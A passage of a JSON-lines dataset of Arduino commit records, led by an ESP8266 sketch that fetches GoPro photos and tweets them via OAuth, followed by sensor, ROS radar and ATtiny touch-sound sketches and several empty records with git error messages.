4:\n req_body_to_post = \"command=FINALIZE&media_id=\";\n req_body_to_post += media_id;\n http.begin(UPLOAD_BASE_HOST, HTTPSPORT, uri_to_post, upload_fingerprint);\n break;\n\n case 6:\n req_body_to_post = \"status=\";\n req_body_to_post += String(URLEncode(value_status.c_str()));\n http.begin(BASE_HOST, HTTPSPORT, uri_to_post, api_fingerprint);\n break;\n\n default:\n return false;\n break;\n }\n\n http.addHeader(\"Authorization\", OAuth_header);\n http.addHeader(\"Content-Length\", String(req_body_to_post.length()));\n http.addHeader(\"Content-Type\", \"application\/x-www-form-urlencoded\");\n int httpCode = http.POST(req_body_to_post);\n lcd.print(httpCode);\n if (httpCode > 0) {\n if (httpCode >= 200 && httpCode < 400) {\n payload = http.getString();\n }\n } else {\n http.end();\n return false;\n }\n http.end();\n delay(1000);\n\n if (rtc_boot_mode.twitter_phase == 6) {\n if (DEBUG_PRINT) {\n syslogPayload = \"twitter : 6 - \";\n syslogPayload += httpCode;\n sendUdpSyslog(syslogPayload);\n }\n\n if (httpCode >= 200 && httpCode < 400) {\n rtc_boot_mode.attempt_this = 0;\n rtc_boot_mode.twitter_phase = 7;\n saveConfig_helper();\n delay(200);\n return true;\n } else {\n return false;\n }\n }\n\n if (rtc_boot_mode.twitter_phase == 2 || rtc_boot_mode.twitter_phase == 4) {\n char json[] = \"{\\\"media_id\\\":000000000000000000,\\\"media_id_string\\\":\\\"000000000000000000\\\",\\\"size\\\":0000000,\\\"expires_after_secs\\\":86400,\\\"image\\\":{\\\"image_type\\\":\\\"image\\\\\/jpeg\\\",\\\"w\\\":0000,\\\"h\\\":0000}}\" ;\n payload.toCharArray(json, 200);\n StaticJsonBuffer<200> jsonBuffer;\n JsonObject& root = jsonBuffer.parseObject(json);\n\n if (!root.success()) {\n return false;\n }\n\n if (rtc_boot_mode.twitter_phase == 2) {\n if (root.containsKey(\"media_id_string\")) {\n media_id = root[\"media_id_string\"].asString();\n rtc_boot_mode.attempt_this = 0;\n rtc_boot_mode.twitter_phase = 3;\n saveConfig_helper();\n return true;\n }\n } else {\n if (root.containsKey(\"media_id_string\")) {\n if (media_id == root[\"media_id_string\"]) {\n if (root.containsKey(\"processing_info\")) {\n rtc_boot_mode.attempt_this = 0;\n rtc_boot_mode.twitter_phase = 5;\n saveConfig_helper();\n return true;\n } else {\n rtc_boot_mode.attempt_this = 0;\n rtc_boot_mode.twitter_phase = 6;\n saveConfig_helper();\n return true;\n }\n }\n }\n }\n }\n}\n\nString make_OAuth_header(String oauth_signature, String hashStr = \"0\") {\n String OAuth_header = \"OAuth \";\n if (rtc_boot_mode.twitter_phase == 3) {\n OAuth_header += UPLOAD_OAUTH_KEY;\n OAuth_header += \"=\\\"\";\n OAuth_header += hashStr;\n OAuth_header += \"\\\", \";\n }\n\n OAuth_header += KEY_CONSUMER_KEY;\n OAuth_header += \"=\\\"\";\n OAuth_header += CONSUMER_KEY;\n OAuth_header += \"\\\", \";\n OAuth_header += KEY_NONCE;\n OAuth_header += \"=\\\"\";\n OAuth_header += value_nonce;\n OAuth_header += \"\\\", \";\n OAuth_header += KEY_SIGNATURE;\n OAuth_header += \"=\\\"\";\n OAuth_header += oauth_signature;\n OAuth_header += \"\\\", \";\n OAuth_header += KEY_SIGNATURE_METHOD;\n OAuth_header += \"=\\\"\";\n OAuth_header += VALUE_SIGNATURE_METHOD;\n OAuth_header += \"\\\", \";\n OAuth_header += KEY_TIMESTAMP;\n OAuth_header += \"=\\\"\";\n OAuth_header += value_timestamp;\n OAuth_header += \"\\\", \";\n OAuth_header += KEY_TOKEN;\n OAuth_header += \"=\\\"\";\n OAuth_header += ACCESS_TOKEN;\n OAuth_header += \"\\\", \";\n OAuth_header += KEY_VERSION;\n OAuth_header += \"=\\\"\";\n OAuth_header += VALUE_VERSION;\n OAuth_header += \"\\\"\";\n\n return OAuth_header;\n\n}\n\nString make_base_string(String para_string) {\n String base_string = KEY_HTTP_METHOD;\n base_string += \"&\";\n\n switch (rtc_boot_mode.twitter_phase) {\n case 6:\n base_string += URLEncode(BASE_URL);\n break;\n\n default:\n base_string += URLEncode(UPLOAD_BASE_URL);\n break;\n }\n\n base_string += \"&\";\n base_string += URLEncode(para_string.c_str());\n\n return base_string;\n}\n\nString make_para_string(String hashStr = \"0\") {\n String para_string;\n\n switch (rtc_boot_mode.twitter_phase) {\n case 2:\n para_string += URLEncode(UPLOAD_COMMAND);\n para_string += \"=\" ;\n para_string += URLEncode(UPLOAD_CMD_INIT);\n para_string += \"&\";\n\n para_string += URLEncode(KEY_MEDIA_TYPE);\n para_string += \"=\" ;\n para_string += URLEncode(UPLOAD_MEDIA_TYPE);\n para_string += \"&\";\n break;\n\n case 3:\n para_string += URLEncode(UPLOAD_OAUTH_KEY);\n para_string += \"=\" ;\n para_string += hashStr.c_str();\n para_string += \"&\";\n break;\n\n case 4:\n para_string += URLEncode(UPLOAD_COMMAND);\n para_string += \"=\" ;\n para_string += URLEncode(UPLOAD_CMD_FINALIZE);\n para_string += \"&\";\n\n para_string += URLEncode(KEY_MEDIA_ID);\n para_string += \"=\" ;\n para_string += URLEncode(media_id.c_str());\n para_string += \"&\";\n break;\n\n case 6:\n para_string += URLEncode(KEY_MEDIA_IDS);\n para_string += \"=\" ;\n para_string += URLEncode(media_id.c_str());\n para_string += \"&\";\n break;\n\n default:\n break;\n }\n\n\n para_string += KEY_CONSUMER_KEY;\n para_string += \"=\" ;\n para_string += CONSUMER_KEY;\n para_string += \"&\";\n\n para_string += KEY_NONCE;\n para_string += \"=\";\n para_string += value_nonce;\n para_string += \"&\";\n\n para_string += KEY_SIGNATURE_METHOD;\n para_string += \"=\";\n para_string += VALUE_SIGNATURE_METHOD;\n para_string += \"&\";\n\n para_string += KEY_TIMESTAMP;\n para_string += \"=\";\n para_string += value_timestamp;\n para_string += \"&\";\n\n para_string += KEY_TOKEN;\n para_string += \"=\";\n para_string += ACCESS_TOKEN;\n para_string += \"&\";\n\n para_string += KEY_VERSION;\n para_string += \"=\";\n para_string += VALUE_VERSION;\n\n switch (rtc_boot_mode.twitter_phase) {\n case 2:\n para_string += \"&\";\n para_string += UPLOAD_MEDIA_SIZE;\n para_string += \"=\";\n para_string += rtc_boot_mode.gopro_size;\n break;\n\n\n case 3:\n break;\n\n case 6:\n para_string += \"&\";\n para_string += KEY_STATUS;\n para_string += \"=\";\n para_string += URLEncode(value_status.c_str());\n break;\n\n default:\n break;\n }\n\n return para_string;\n}\n\nbool tweet_status() {\n bool rtn = false;\n\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"[P:6] TWEET\");\n\n String para_string = make_para_string();\n String base_string = make_base_string(para_string);\n String oauth_signature = make_signature(CONSUMER_SECRET, ACCESS_SECRET, base_string);\n String OAuth_header = make_OAuth_header(oauth_signature);\n rtn = do_http_text_post(OAuth_header);\n\n lcd.setCursor(0, 2);\n if (rtn) {\n lcd.print(\"[P:6] OK\");\n } else {\n lcd.print(\"[P:6] FAIL\");\n }\n delay(2000);\n\n return rtn;\n}\n\nvoid tweet_check() {\n rtc_boot_mode.twitter_phase++;\n}\n\nbool tweet_fin() {\n bool rtn = false;\n\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"[P:4] FINALIZE\");\n\n String para_string = make_para_string();\n String base_string = make_base_string(para_string);\n String oauth_signature = make_signature(CONSUMER_SECRET, ACCESS_SECRET, base_string);\n String OAuth_header = make_OAuth_header(oauth_signature);\n rtn = do_http_text_post(OAuth_header);\n\n lcd.setCursor(0, 1);\n if (rtn) {\n lcd.print(\"[P:4] OK\");\n } else {\n lcd.print(\"[P:4] FAIL\");\n }\n delay(2000);\n return rtn;\n}\n\nbool tweet_append() {\n bool rtn = false;\n\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"[P:3] APPEND\");\n lcd.setCursor(0, 1);\n lcd.print(\"[P:3] chk : \");\n lcd.print(rtc_boot_mode.chunked_no);\n\n int get_size = CHUNKED_FILE_SIZE;\n int positionofchunk = (CHUNKED_FILE_SIZE * rtc_boot_mode.chunked_no);\n\n if (positionofchunk >= rtc_boot_mode.gopro_size) {\n rtc_boot_mode.twitter_phase = 4;\n saveConfig_helper();\n return true;\n }\n\n if (( positionofchunk + get_size) > rtc_boot_mode.gopro_size) {\n get_size = rtc_boot_mode.gopro_size - positionofchunk;\n }\n\n String content_more = \"--00Twurl817862339941931672lruwT99\\r\\n\";\n content_more += \"Content-Disposition: form-data; name=\\\"command\\\"\\r\\n\\r\\n\";\n content_more += \"APPEND\\r\\n\";\n\n content_more += \"--00Twurl817862339941931672lruwT99\\r\\n\";\n content_more += \"Content-Disposition: form-data; name=\\\"segment_index\\\"\\r\\n\\r\\n\";\n content_more += String(rtc_boot_mode.chunked_no) + \"\\r\\n\";\n\n content_more += \"--00Twurl817862339941931672lruwT99\\r\\n\";\n content_more += \"Content-Disposition: form-data; name=\\\"media_id\\\"\\r\\n\\r\\n\";\n content_more += media_id + \"\\r\\n\";\n\n content_more += \"--00Twurl817862339941931672lruwT99\\r\\n\";\n content_more += \"Content-Disposition: form-data; name=\\\"media\\\"; filename=\\\"\" + String(value_timestamp) + \".jpg\\\"\\r\\n\" ;\n content_more += \"Content-Type: application\/octet-stream\\r\\n\\r\\n\";\n\n String content_last = \"\\r\\n--00Twurl817862339941931672lruwT99--\\r\\n\";\n\n int content_length = get_size + content_more.length() + content_last.length();\n String hashStr = get_hash_str(content_more, content_last, positionofchunk, get_size);\n\n String para_string = make_para_string(hashStr);\n String base_string = make_base_string(para_string);\n String oauth_signature = make_signature(CONSUMER_SECRET, ACCESS_SECRET, base_string);\n String OAuth_header = make_OAuth_header(oauth_signature, hashStr);\n\n String content_header = \"POST \" + String(UPLOAD_BASE_URI) + \" HTTP\/1.1\\r\\n\";\n content_header += \"Accept-Encoding: identity;q=1,chunked;q=0.1,*;q=0\\r\\n\";\n content_header += \"User-Agent: esp8266_image_bot_by_chaeplin_V_0.1\\r\\n\";\n content_header += \"Content-Type: multipart\/form-data, boundary=\\\"00Twurl817862339941931672lruwT99\\\"\\r\\n\";\n content_header += \"Authorization: \" + OAuth_header + \"\\r\\n\";\n content_header += \"Connection: close\\r\\n\";\n content_header += \"Host: \" + String(UPLOAD_BASE_HOST) + \"\\r\\n\";\n content_header += \"Content-Length: \" + String(content_length) + \"\\r\\n\\r\\n\";\n\n unsigned long upstart = millis();\n rtn = do_http_append_post(content_header, content_more, content_last, positionofchunk, get_size);\n float upspeed = get_size \/ (( millis() - upstart ) \/ 1000) ;\n\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"[P:3] APPEND\");\n lcd.setCursor(0, 1);\n if (rtn) {\n lcd.print(\"[P:3] chk : \");\n lcd.print(rtc_boot_mode.chunked_no - 1);\n lcd.print(\" OK\");\n } else {\n lcd.print(\" FAIL\");\n }\n\n lcd.setCursor(0, 2);\n lcd.print(\"[P:3] \");\n lcd.print(upspeed, 0);\n lcd.print(\" KB\");\n delay(2000);\n\n return rtn;\n}\n\nbool tweet_init() {\n bool rtn = false;\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"[P:2] INIT\");\n\n String para_string = make_para_string();\n String base_string = make_base_string(para_string);\n String oauth_signature = make_signature(CONSUMER_SECRET, ACCESS_SECRET, base_string);\n String OAuth_header = make_OAuth_header(oauth_signature);\n rtn = do_http_text_post(OAuth_header);\n\n lcd.clear();\n lcd.setCursor(0, 0);\n if (rtn) {\n lcd.print(\"[P:2] \");\n lcd.setCursor(0, 1);\n lcd.print(media_id);\n } else {\n lcd.print(\"[P:2] FAIL\");\n }\n delay(2000);\n\n return rtn;\n}\n\nbool gopro_poweroff() {\n bool rtn = false;\n HTTPClient http;\n http.begin(\"http:\/\/10.5.5.9:80\/bacpac\/PW?t=\" + String(gopropassword) + \"&p=%00\");\n int httpCode = http.GET();\n if (httpCode == HTTP_CODE_OK) {\n rtn = true;\n } else {\n rtn = false;\n }\n http.end();\n return rtn;\n}\n\nbool gopro_poweron() {\n bool rtn = false;\n HTTPClient http;\n\n http.begin(\"http:\/\/10.5.5.9:80\/bacpac\/PW?t=\" + String(gopropassword) + \"&p=%01\");\n int httpCode = http.GET();\n\n lcd.setCursor(0, 1);\n lcd.print(\"code : \");\n lcd.print(httpCode);\n\n\n if (httpCode == HTTP_CODE_OK) {\n http.end();\n delay(3000);\n \/\/ 5MP\n \/\/http.begin(\"http:\/\/10.5.5.9:80\/camera\/PR?t=\" + String(gopropassword) + \"&p=%03\");\n \/\/ 7MP WIDE\n http.begin(\"http:\/\/10.5.5.9:80\/camera\/PR?t=\" + String(gopropassword) + \"&p=%04\");\n int httpCode2 = http.GET();\n\n lcd.print(\" \");\n lcd.print(httpCode2);\n\n if (httpCode2 == HTTP_CODE_OK) {\n http.end();\n delay(1000);\n http.begin(\"http:\/\/10.5.5.9:80\/bacpac\/SH?t=\" + String(gopropassword) + \"&p=%01\");\n int httpCode3 = http.GET();\n\n lcd.print(\" \");\n lcd.print(httpCode3);\n\n if (httpCode3 == HTTP_CODE_OK) {\n rtn = true;\n }\n }\n }\n\n http.end();\n return rtn;\n}\n\n\n\/* PHASE 1 : start : get last file *\/\nbool get_gopro_file() {\n bool rtn = false;\n\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"[P:1] GET \");\n\n HTTPClient http;\n wifiClient.setNoDelay(true);\n sslclient.setNoDelay(true);\n\n String url = \"http:\/\/10.5.5.9:8080\/videos\/DCIM\/\";\n url += gopro_dir;\n url += \"\/\";\n url += gopro_file;\n\n http.begin(url);\n\n int httpCode = http.GET();\n if (httpCode > 0) {\n if (httpCode == HTTP_CODE_OK) {\n int len = http.getSize();\n uint8_t buff[1460] = { 0 };\n\n if ( len != rtc_boot_mode.gopro_size ) {\n http.end();\n rtc_boot_mode.twitter_phase = 0;\n\n lcd.setCursor(0, 1);\n lcd.print(\"[P:1] size differ\");\n lcd.setCursor(0, 2);\n lcd.print(\"[P:1] go to P:0\");\n delay(1000);\n\n saveConfig_helper();\n return false;\n }\n\n WiFiClient * stream = http.getStreamPtr();\n \/\/stream->setTimeout(1000);\n File f = SPIFFS.open(\"\/\" + gopro_file, \"w\");\n if (!f) {\n lcd.setCursor(0, 1);\n lcd.print(\"[P:1] SPIFFS err\");\n delay(1000);\n\n return false;\n }\n\n lcd.setCursor(0, 1);\n lcd.print(\"[P:1] get : \");\n\n int pre_progress = 0;\n unsigned long dnstart = millis();\n \n while (http.connected() && (len > 0 || len == -1)) {\n size_t size = stream->available();\n if (size) {\n int c = stream->readBytes(buff, ((size > sizeof(buff)) ? sizeof(buff) : size));\n f.write(buff, c);\n\n float progress = ((rtc_boot_mode.gopro_size - len) \/ (rtc_boot_mode.gopro_size \/ 100));\n if (int(progress) != pre_progress ) {\n lcd.setCursor(13, 1);\n if (progress < 10) {\n lcd.print(\" \");\n }\n\n lcd.print(progress, 0);\n lcd.print(\" %\");\n pre_progress = int(progress);\n }\n\n if (len > 0) {\n len -= c;\n }\n }\n }\n f.close();\n \n unsigned long dnstop = millis();\n float timestook = ( dnstop - dnstart ) \/ 1000 ;\n float dnspeed = rtc_boot_mode.gopro_size \/ (( dnstop - dnstart ) \/ 1000) ;\n\n lcd.setCursor(0, 2);\n lcd.print(\"[P:1] \");\n lcd.print(dnspeed, 0);\n lcd.print(\" K \");\n lcd.print(timestook, 1);\n lcd.print(\" S\");\n \n lcd.setCursor(0, 3);\n lcd.print(\"[P:1] verify : \");\n\n int Attempt = 0;\n while (!SPIFFS.open(String(\"\/\") + gopro_file, \"r\")) {\n delay(1000);\n Attempt++;\n if (Attempt == 5) {\n\n lcd.print(\"fail\");\n delay(2000);\n\n return false;\n }\n }\n\n lcd.print(\"OK\");\n delay(3000);\n\n rtc_boot_mode.attempt_this = 0;\n rtc_boot_mode.twitter_phase = 2;\n saveConfig_helper();\n\n rtn = true;\n }\n } else {\n rtn = false;\n }\n http.end();\n\n lcd.clear();\n lcd.setCursor(0, 0);\n if (rtn) {\n lcd.print(\"[P:1] OK\");\n } else {\n lcd.print(\"[P:1] FAIL\");\n }\n \n delay(2000);\n return rtn;\n}\n\n\/* PHASE 0 : start : get gopro file list *\/\nbool get_gpro_list() {\n bool rtn = false;\n\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"[P:0] POWER ON \");\n int Attempt = 0;\n while (1) {\n if (gopro_poweron()) {\n lcd.setCursor(0, 2);\n lcd.print(\"---> OK\");\n delay(1000);\n\n break;\n } else {\n delay(1000);\n }\n\n Attempt++;\n if (Attempt > 5) {\n lcd.setCursor(0, 2);\n lcd.print(\"---> FAIL\");\n delay(1000);\n\n return false;\n }\n }\n\n delay(2000);\n lcd.clear();\n lcd.setCursor(0, 0);\n lcd.print(\"[P:0] LIST \");\n\n HTTPClient http;\n http.begin(\"http:\/\/10.5.5.9:8080\/gp\/gpMediaList\");\n int httpCode = http.GET();\n if (httpCode > 0) {\n if (httpCode == HTTP_CODE_OK) {\n while (http.connected()) {\n int len = http.getSize();\n WiFiClient * stream = http.getStreamPtr();\n\n String directory;\n String filename;\n String filesize;\n\n while (http.connected() && (len > 0 || len == -1)) {\n \/\/stream->setTimeout(500);\n String line = stream->readStringUntil(',');\n\n line.replace(\"\\\"\", \"\");\n line.replace(\"media:[{\", \"\");\n line.replace(\"fs:[\", \"\");\n line.replace(\"{\", \"\");\n line.replace(\"}\", \"\");\n line.replace(\"]]\", \"\");\n\n if (line.startsWith(\"d:\")) {\n line.replace(\"d:\", \"\");\n directory = line;\n }\n\n if (line.startsWith(\"n:\")) {\n line.replace(\"n:\", \"\");\n filename = line;\n }\n\n if (line.startsWith(\"s:\")) {\n line.replace(\"s:\", \"\");\n filesize = line;\n }\n }\n\n lcd.setCursor(0, 1);\n lcd.print(filesize.toInt());\n\n if ( filesize.toInt() < 2900000 ) {\n gopro_dir = directory.c_str();\n gopro_file = filename.c_str();\n media_id = \"0000000000000000000\";\n rtc_boot_mode.gopro_size = filesize.toInt();\n rtc_boot_mode.attempt_this = 0;\n rtc_boot_mode.chunked_no = 0;\n rtc_boot_mode.twitter_phase = 1;\n\n saveConfig_helper();\n\n rtn = true;\n } else {\n\n lcd.setCursor(0, 2);\n lcd.print(\"[P:0] big file\");\n delay(2000);\n\n rtn = false;\n }\n }\n }\n } else {\n rtn = false;\n }\n http.end();\n\n \/\/lcd.clear();\n lcd.setCursor(0, 3);\n if (rtn) {\n lcd.print(\"[P:0] \");\n lcd.print(gopro_file);\n } else {\n lcd.print(\"[P:0] FAIL\");\n }\n delay(2000);\n\n return rtn;\n}\n\n\/\/ end\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_56-gopro-control\/a-91-config-on-rtc\/a-91-config-on-rtc.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"171035e421272f87b3a898dceba6d4ff1a22c1d6","subject":"Created automatic_external_lighting rev v1","message":"Created automatic_external_lighting rev v1\n\nCreated the file","repos":"rpihomeautomation\/rpihomeautomation,rpihomeautomation\/rpihomeautomation","old_file":"automatic_external_lighting\/automatic_external_lighting.ino","new_file":"automatic_external_lighting\/automatic_external_lighting.ino","new_contents":"\/*\nAutomatic External lighting\n========= ======== ========\nrev v.1\n#turns on an external light when the amount of light falls below a preset value\n#ldr is connected to the A0 pin and led is connected to pin 9\n#sends info about the change of state of led serially for monitoring\n*\/\n\n\/\/el-external lighting\n\n#define elinput A0\n#define eloutput 9\n#define treshold 500\n\nint elsensor,elstate;\n\nvoid setup()\n{\n Serial.begin(9600);\n pinMode(eloutput,OUTPUT);\n elstate=0;\n}\n\nvoid loop()\n{\n elsensor=analogRead(elinput);\n if((elsensor>treshold) && (elstate==0))\n { digitalWrite(eloutput,HIGH);\n Serial.println(\"External light is ON\");\n elstate=1;\n }\n else if((elsensor<treshold) && (elstate==1))\n { digitalWrite(eloutput,LOW);\n Serial.println(\"External light is OFF\");\n elstate=0;\n }\n delay(500);\n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'automatic_external_lighting\/automatic_external_lighting.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"afe3e43218fbef6389bb8de3b6804d3df4f6d2c9","subject":"update topics","message":"update topics\n","repos":"MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI,MaxMorgenstern\/EmeraldAI","old_file":"testing\/arduino\/servo-radar3-ros-v3.ino","new_file":"testing\/arduino\/servo-radar3-ros-v3.ino","new_contents":"#include \"Arduino.h\"\n#include \"Servo.h\"\n#include \"NewPing.h\"\n#include \"ros.h\"\n#include \"ros\/time.h\"\n#include \"sensor_msgs\/Range.h\" \/\/ Ultrasonic Range\n#include \"sensor_msgs\/JointState.h\" \/\/ Servo Angle\n\n\n\/\/ ROS\nros::NodeHandle nh;\n\nsensor_msgs::Range rangeMessage;\nros::Publisher rangePublisher1(\"\/ultrasound1\", &rangeMessage);\nros::Publisher rangePublisher2(\"\/ultrasound2\", &rangeMessage);\n\nconst char rangeFrameid[] = \"\/ultrasound\";\n\n\nsensor_msgs::JointState jointMessage;\nros::Publisher odometryPublisher(\"\/odometry\", &jointMessage);\n\nconst char jointFrameid[] = \"\/ultrasound\/joint\";\nconst char *jointNames[] = {\"FRONT\", \"BACK\"};\n\n\n\/\/ Ultrasonic Sensor\nconst uint16_t maxDistance = 250;\n\n\/\/ Ultrasonic Sensor #1\nconst uint8_t trigPin = 9;\nconst uint8_t echoPin = 10;\n\nNewPing sonar1(trigPin, echoPin, maxDistance);\n\n\/\/ Ultrasonic Sensor #2\nconst uint8_t trigPin2 = 11;\nconst uint8_t echoPin2 = 12;\n\nNewPing sonar2(trigPin2, echoPin2, maxDistance);\n\n\/\/ Ultrasonic Servo\nServo ServoMotor;\nconst uint8_t servoPin = 6;\nconst uint8_t servoRotationAngel = 5;\n\nenum direction {\n left,\n center,\n right\n};\n\nuint8_t servoPos = 90;\ndirection servoMovement = right;\n\n\nvoid setup()\n{\n nh.initNode();\n nh.advertise(rangePublisher1);\n nh.advertise(rangePublisher2);\n nh.advertise(odometryPublisher);\n\n rangeMessage.radiation_type = sensor_msgs::Range::ULTRASOUND;\n rangeMessage.field_of_view = 0.1;\n rangeMessage.min_range = 0.0;\n rangeMessage.max_range = maxDistance\/100; \/\/ cm to meter\n rangeMessage.header.frame_id = rangeFrameid;\n\n\n jointMessage.header.frame_id = jointFrameid;\n jointMessage.name_length = 2;\n \/\/jointMessage.velocity_length = 2;\n jointMessage.position_length = 2;\n \/\/jointMessage.effort_length = 2;\n jointMessage.name = jointNames;\n\n\n \/\/ attach servo pin and set to initial direction\n ServoMotor.attach(servoPin, 400, 2600); \/\/ 400, 2600 to fix rotation issues\n ServoMotor.write(servoPos);\n}\n\n\nlong GetRange(int id)\n{\n long range = 0;\n if(id == 1)\n {\n range = sonar1.ping_cm();\n }\n\n if(id == 2)\n {\n range = sonar2.ping_cm();\n }\n\n return range;\n}\n\n\nuint8_t GetNextServoAngle()\n{\n if(servoPos <= 0)\n {\n servoMovement = right;\n servoPos = 0;\n }\n\n if(servoPos >= 180)\n {\n servoMovement = left;\n servoPos = 180;\n }\n\n\n if(servoMovement == right)\n {\n servoPos += servoRotationAngel;\n }\n else\n {\n servoPos -= servoRotationAngel;\n }\n\n return servoPos;\n}\n\n\nvoid SendDistanceToROS(int sensorID, float rangeInCentimeter)\n{\n rangeMessage.range = rangeInCentimeter\/100;\n rangeMessage.header.stamp = nh.now();\n\n if(sensorID == 1)\n {\n rangePublisher1.publish(&rangeMessage);\n }\n\n if(sensorID == 2)\n {\n rangePublisher2.publish(&rangeMessage);\n }\n\n}\n\n\nvoid loop()\n{\n long rangeFront = GetRange(1);\n long rangeBack = GetRange(2);\n\n uint8_t actualServoPos = ServoMotor.read();\n if(servoPos == actualServoPos)\n {\n ServoMotor.write(GetNextServoAngle());\n \/\/delay(5);\n }\n\n SendDistanceToROS(1, rangeFront);\n SendDistanceToROS(2, rangeBack);\n\n \/\/ TODO - extra function to send\n float pos[2] = {float(servoPos), float(servoPos+180%360)};\n jointMessage.position = pos;\n jointMessage.header.stamp = nh.now();\n odometryPublisher.publish(&jointMessage);\n\n nh.spinOnce();\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'testing\/arduino\/servo-radar3-ros-v3.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"27ea2f696936734b8e79cc3e5eac82ebef3faf2d","subject":"Update Lichtsteuerung by Webserver.ino","message":"Update Lichtsteuerung by Webserver.ino","repos":"Trommik\/Microcontroller_Codes","old_file":"Lichtsteuerung by Webserver\/Lichtsteuerung by Webserver.ino","new_file":"Lichtsteuerung by Webserver\/Lichtsteuerung by Webserver.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lichtsteuerung' did not match any file(s) known to git\nerror: pathspec 'by' did not match any file(s) known to git\nerror: pathspec 'Webserver\/Lichtsteuerung' did not match any file(s) known to git\nerror: pathspec 'by' did not match any file(s) known to git\nerror: pathspec 'Webserver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"15860040293195f45100a207a5666f706355230f","subject":"Create tinyTouch.ino","message":"Create tinyTouch.ino","repos":"afrdt\/tinyTouch","old_file":"tinyTouch.ino","new_file":"tinyTouch.ino","new_contents":"\/* Use an ATtiny85 to play a simple squarewave oscillator that changes frequency through a capacitive sensor\n *\n * Circuit: \n * ATtiny85 \n * Capacitive sensors on pins 2,3,4\n * 1 M\u03a9 resistor on between pins 1 and 2,4\n * 4.7 M\u03a9 resistor on between pins 1 and 3\n * speaker-sound output on pin 0 (PWM pin for further developement of the code)\n *\n * March-April 2014\n *\/\n\n#include <CapacitiveSensor.h>\n\n#define speaker 0\n\nlong yellowVal;\nlong orangeVal;\nlong greenVal;\n\nint noiseVal;\nint duration;\n\n\/\/for ATtiny\nCapacitiveSensor yellow = CapacitiveSensor(1,3); \/\/ 4.7 M\u03a9 resistor between pins, pin 3 is sensor pin\nCapacitiveSensor orange = CapacitiveSensor(1,4); \/\/ 4.7 M\u03a9 resistor between pins, pin 3 is sensor pin\nCapacitiveSensor green = CapacitiveSensor(1,2); \/\/ 4.7 M\u03a9 resistor between pins, pin 3 is sensor pin\n\nvoid setup() {\n pinMode(speaker, OUTPUT);\n yellow.set_CS_AutocaL_Millis(0xFFFFFFFF); \/\/ turn off autocalibrate on channel 1 - just as an example\n}\n\nvoid loop() {\n long start = millis();\n yellowVal = yellow.capacitiveSensor(10);\n orangeVal = orange.capacitiveSensor(10);\n greenVal = green.capacitiveSensor(10);\n\n noiseVal = constrain(yellowVal, 60, 880);\n duration = constrain(greenVal, 10, 50);\n\n makeNoise();\n}\n\nvoid noise (unsigned char speakerPin, int frequencyInHertz, long timeInMilliseconds) {\t \n int x;\t \n long delayAmount = (long)(1000000\/frequencyInHertz);\n long loopTime = (long)((timeInMilliseconds*1000)\/(delayAmount*2));\n for (x=0;x<loopTime;x++) {\t \n digitalWrite(speakerPin,HIGH);\n delayMicroseconds(delayAmount);\n digitalWrite(speakerPin,LOW);\n delayMicroseconds(delayAmount);\n }\t \n}\n\nvoid makeNoise () {\n noise(speaker, noiseVal, duration); \n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tinyTouch.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0d60f45afe4522555e5a6d298134892ce5ed5719","subject":"Code test de l'asservissement op\u00e9rationnel","message":"Code test de l'asservissement op\u00e9rationnel\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module moteur\/Software\/Asservissement\/monMain\/monMain.ino","new_file":"Module moteur\/Software\/Asservissement\/monMain\/monMain.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'moteur\/Software\/Asservissement\/monMain\/monMain.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7b831231690a888196947b2141edb7f01e99cb9f","subject":"Updated the no dicks\/dicks to motion \/no motion","message":"Updated the no dicks\/dicks to motion \/no motion\n","repos":"onordbo\/mood-cloud,onordbo\/mood-cloud,onordbo\/mood-cloud","old_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_file":"THIS SHIT WORKS\/randomLight_sensor\/randomLight_sensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/onordbo\/mood-cloud.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d0992a29ebd8ade72e8009757004ecfe31d58a60","subject":"we like to move it move \u2026 not!","message":"we like to move it move \u2026 not!\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"SPITest\/SPITest.ino","new_file":"SPITest\/SPITest.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} 